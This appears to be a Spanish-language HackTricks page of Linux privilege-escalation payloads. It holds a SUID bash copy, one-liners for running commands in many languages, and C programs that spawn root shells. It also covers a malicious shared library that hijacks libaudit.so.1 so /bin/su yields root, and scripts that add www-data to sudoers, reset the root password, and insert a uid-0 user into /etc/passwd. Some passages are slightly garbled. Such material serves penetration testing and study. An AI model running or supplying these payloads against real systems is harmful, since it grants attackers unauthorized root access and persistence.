8 KiB
Cargas útiles para ejecutar
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
C
Payloads to Execute
Aquí hay una lista de payloads que se pueden usar para ejecutar comandos en diferentes lenguajes de programación.
Bash
bash -c 'comando'
Python
python -c 'import os; os.system("comando")'
Perl
perl -e 'system("comando")'
Ruby
ruby -e 'system("comando")'
Lua
lua -e 'os.execute("comando")'
Node.js
node -e 'require("child_process").exec("comando", function (error, stdout, stderr) { console.log(stdout) })'
PHP
php -r 'system("comando");'
Java
java.lang.Runtime.getRuntime().exec("comando")
.NET
powershell -c "Invoke-Expression 'comando'"
PowerShell
powershell -c 'comando'
C
#include <stdlib.h>
int main() {
system("comando");
}
C++
#include <stdlib.h>
int main() {
system("comando");
}
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); //Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
Sobrescribir un archivo para escalar privilegios
Archivos comunes
- Agregar usuario con contraseña a /etc/passwd
- Cambiar la contraseña dentro de /etc/shadow
- Agregar usuario a sudoers en /etc/sudoers
- Abusar de Docker a través del socket de Docker, generalmente en /run/docker.sock o /var/run/docker.sock
Sobrescribir una biblioteca
Verificar una biblioteca utilizada por algún binario, en este caso /bin/su
:
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
En este caso intentaremos hacer una suplantación de identidad de /lib/x86_64-linux-gnu/libaudit.so.1
.
Por lo tanto, verificamos las funciones de esta biblioteca utilizadas por el binario su
:
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
Los símbolos audit_open
, audit_log_acct_message
, audit_log_acct_message
y audit_fd
probablemente provienen de la biblioteca libaudit.so.1. Como la librería libaudit.so.1 será sobrescrita por la biblioteca compartida maliciosa, estos símbolos deberían estar presentes en la nueva biblioteca compartida, de lo contrario el programa no podrá encontrar el símbolo y saldrá.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Ahora, simplemente llamando /bin/su
obtendrás una shell como root.
Scripts
¿Puedes hacer que root ejecute algo?
www-data a sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
Cambiar la contraseña de root
Para cambiar la contraseña de root, podemos utilizar el siguiente comando:
$ sudo passwd root
Esto nos pedirá la nueva contraseña para root y luego nos pedirá que la confirmemos. Es importante tener en cuenta que cambiar la contraseña de root puede afectar a otros servicios que dependen de ella, por lo que se debe hacer con precaución.
echo "root:hacked" | chpasswd
Agregar un nuevo usuario root a /etc/passwd
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén la oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.